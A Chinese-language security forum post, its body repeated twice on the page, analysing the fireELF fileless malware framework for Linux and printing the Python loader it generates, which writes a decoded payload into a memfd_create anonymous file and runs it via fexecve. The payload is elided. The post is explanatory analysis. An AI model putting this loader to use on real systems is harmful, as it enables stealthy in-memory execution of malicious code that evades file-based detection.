2019-M02 - Fileless Malware Framework - 資安
By Christine
at 2019-04-20T13:54
at 2019-04-20T13:54
Table of Contents
2019-M02 - Fileless Malware Framework
看文章的時候看到了一個 [project][0] 介紹 fileless 的惡意程式:他是用 python 寫的 linux-based
的無檔案惡意程式套件 可以讓使用者簡單快速的產生、建立一個 fileless 惡意程式
不得不說,這個 project 的 source code 可讀性非常差 (雖然用 Python 撰寫的)
在 main.py 開始有兩個部分:CLI 參數的處理、以及產生惡意程式的部分
在透過一連串的操作之後最後會產生一個 Python 惡意檔案:
#! /usr/bin/env python
import ctypes, os, urllib2, base64
libc = ctypes.CDLL(None)
argv = ctypes.pointer((ctypes.c_char_p * 0)(*[]))
syscall = libc.syscall
fexecve = libc.fexecve
content = base64.b64decode("...")
fd = syscall(319, "", 1)
os.write(fd, content)
fexecve(fd, argv, argv)
從產生的程式碼來看他的目的是透過:ctypes 來找到 [fexecve][1] 跟 [sys_memfd_create][2]
這兩個 syscall 來完成無檔案的惡意程式
先透過 **memfd_create** 來產生一個暱名檔案 (anonymous file)、寫入惡意內容、最後透過 **fexecve** 執行。
[0]: https://github.com/rek7/fireELF/
[1]: https://linux.die.net/man/3/fexecve
[2]: https://www.systutorials.com/docs/linux/man/2-memfd_create/
--
看文章的時候看到了一個 [project][0] 介紹 fileless 的惡意程式:他是用 python 寫的 linux-based
的無檔案惡意程式套件 可以讓使用者簡單快速的產生、建立一個 fileless 惡意程式
不得不說,這個 project 的 source code 可讀性非常差 (雖然用 Python 撰寫的)
在 main.py 開始有兩個部分:CLI 參數的處理、以及產生惡意程式的部分
在透過一連串的操作之後最後會產生一個 Python 惡意檔案:
#! /usr/bin/env python
import ctypes, os, urllib2, base64
libc = ctypes.CDLL(None)
argv = ctypes.pointer((ctypes.c_char_p * 0)(*[]))
syscall = libc.syscall
fexecve = libc.fexecve
content = base64.b64decode("...")
fd = syscall(319, "", 1)
os.write(fd, content)
fexecve(fd, argv, argv)
從產生的程式碼來看他的目的是透過:ctypes 來找到 [fexecve][1] 跟 [sys_memfd_create][2]
這兩個 syscall 來完成無檔案的惡意程式
先透過 **memfd_create** 來產生一個暱名檔案 (anonymous file)、寫入惡意內容、最後透過 **fexecve** 執行。
[0]: https://github.com/rek7/fireELF/
[1]: https://linux.die.net/man/3/fexecve
[2]: https://www.systutorials.com/docs/linux/man/2-memfd_create/
--
Tags:
資安
All Comments
Related Posts
新手請教區網的隔離問題
By Faithe
at 2019-04-20T13:17
at 2019-04-20T13:17
莫名被植入註冊表自動啟動網站
By Daph Bay
at 2019-04-14T00:34
at 2019-04-14T00:34
電腦被遠端開機
By Lydia
at 2019-04-12T15:40
at 2019-04-12T15:40
2019-M01 - Security Header
By Elvira
at 2019-04-05T14:25
at 2019-04-05T14:25
電腦被監控
By Ida
at 2019-04-01T17:23
at 2019-04-01T17:23